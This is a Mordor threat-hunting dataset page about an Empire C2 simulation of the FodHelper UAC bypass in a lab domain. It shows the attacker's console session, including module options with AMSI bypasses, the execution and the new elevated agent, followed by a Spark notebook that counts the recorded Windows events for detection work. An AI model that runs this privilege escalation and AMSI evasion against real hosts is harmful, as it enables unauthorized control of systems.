Invoke BypassUAC FodHelper

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/09/04

Modification Date

2020/09/04

Tactics

[‘TA0004’]

Techniques

[‘T1548.002’]

Tags

[‘BypassUAC’, ‘Registry Modification’, ‘Windows Registry FodHelper’]

Dataset Description

This dataset represents adversaries elevating privileges (bypassing uac) by performing an registry modification for FodHelper.

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Mordor shire

C2

bypassuac_fodhelper

Adversary View

(Empire: SP7B3U2X) > agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
KU86XWEL ps 172.18.39.5     WORKSTATION5      THESHIRE\pgustavo       powershell         5376   5/0.0    2020-09-04 07:07:17  http            
SP7B3U2X ps 172.18.39.5     WORKSTATION5      THESHIRE\pgustavo       powershell         1376   5/0.0    2020-09-04 07:12:15  http            

(Empire: agents) > interact SP7B3U2X
(Empire: SP7B3U2X) > 
(Empire: SP7B3U2X) > usemodule privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > info

              Name: Invoke-FodHelperBypass
            Module: powershell/privesc/bypassuac_fodhelper
        NeedsAdmin: False
        OpsecSafe: False
          Language: powershell
MinLanguageVersion: 2
        Background: True
  OutputExtension: None

Authors:
  Petr Medonos

Description:
  Bypasses UAC by performing an registry modification for
  FodHelper (based
  onhttps://winscripting.blog/2017/05/12/first-entry-welcome-
  and-uac-bypass/)

Comments:
  https://winscripting.blog/2017/05/12/first-entry-welcome-
  and-uac-bypass/

Options:

  Name             Required    Value                     Description
  ----             --------    -------                   -----------
  Agent            True        SP7B3U2X                  Agent to run module on.                 
  Listener         True                                  Listener to use.                        
  Obfuscate        False       False                     Switch. Obfuscate the launcher          
                                                        powershell code, uses the               
                                                        ObfuscateCommand for obfuscation types. 
                                                        For powershell only.                    
  ObfuscateCommand False       Token\All\1               The Invoke-Obfuscation command to use.  
                                                        Only used if Obfuscate switch is True.  
                                                        For powershell only.                    
  AMSIBypass       False       True                      Include mattifestation's AMSI Bypass in 
                                                        the stager code.                        
  AMSIBypass2      False       False                     Include Tal Liberman's AMSI Bypass in   
                                                        the stager code.                        
  UserAgent        False       default                   User-agent string to use for the staging
                                                        request (default, none, or other).      
  Proxy            False       default                   Proxy to use for request (default, none,
                                                        or other).                              
  ProxyCreds       False       default                   Proxy credentials                       
                                                        ([domain\]username:password) to use for 
                                                        request (default, none, or other).      

(Empire: powershell/privesc/bypassuac_fodhelper) > set Listener http
(Empire: powershell/privesc/bypassuac_fodhelper) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked SP7B3U2X to run TASK_CMD_JOB
[*] Agent SP7B3U2X tasked with task ID 2
[*] Tasked agent SP7B3U2X to run module powershell/privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > 
Job started: EHNK23

[*] Sending POWERSHELL stager (stage 1) to 172.18.39.5
[*] New agent F2X6GE4R checked in
[+] Initial agent F2X6GE4R from 172.18.39.5 now active (Slack)
[*] Sending agent (stage 2) to F2X6GE4R at 172.18.39.5

(Empire: powershell/privesc/bypassuac_fodhelper) > agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
KU86XWEL ps 172.18.39.5     WORKSTATION5      THESHIRE\pgustavo       powershell         5376   5/0.0    2020-09-04 07:07:17  http            
SP7B3U2X ps 172.18.39.5     WORKSTATION5      THESHIRE\pgustavo       powershell         1376   5/0.0    2020-09-04 07:30:33  http            
F2X6GE4R ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         3936   5/0.0    2020-09-04 07:30:34  http            


(Empire: agents) > interact F2X6GE4R
(Empire: F2X6GE4R) > shell whoami
[*] Tasked F2X6GE4R to run TASK_SHELL
[*] Agent F2X6GE4R tasked with task ID 1
(Empire: F2X6GE4R) > 
theshire\pgustavo
..Command execution

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/privilege_escalation/host/empire_uac_shellapi_fodhelper.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+---------------------------+----------------------------------------+-------+-----+
|Hostname                   |Channel                                 |EventID|count|
+---------------------------+----------------------------------------+-------+-----+
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |920  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |836  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |7      |826  |
|WORKSTATION5.theshire.local|Windows PowerShell                      |800    |287  |
|WORKSTATION5.theshire.local|Microsoft-Windows-PowerShell/Operational|4103   |229  |
|WORKSTATION5.theshire.local|security                                |4658   |202  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |13     |134  |
|WORKSTATION5.theshire.local|security                                |4656   |102  |
|WORKSTATION5.theshire.local|security                                |4690   |102  |
|WORKSTATION5.theshire.local|security                                |4663   |67   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |11     |30   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |26   |
|WORKSTATION5.theshire.local|security                                |4703   |25   |
|WORKSTATION6.theshire.local|Security                                |5156   |23   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |9      |22   |
|WORKSTATION5.theshire.local|security                                |5158   |21   |
|WORKSTATION5.theshire.local|Windows PowerShell                      |600    |20   |
|MORDORDC.theshire.local    |Security                                |5156   |19   |
|WORKSTATION5.theshire.local|security                                |4688   |18   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |1      |18   |
+---------------------------+----------------------------------------+-------+-----+
only showing top 20 rows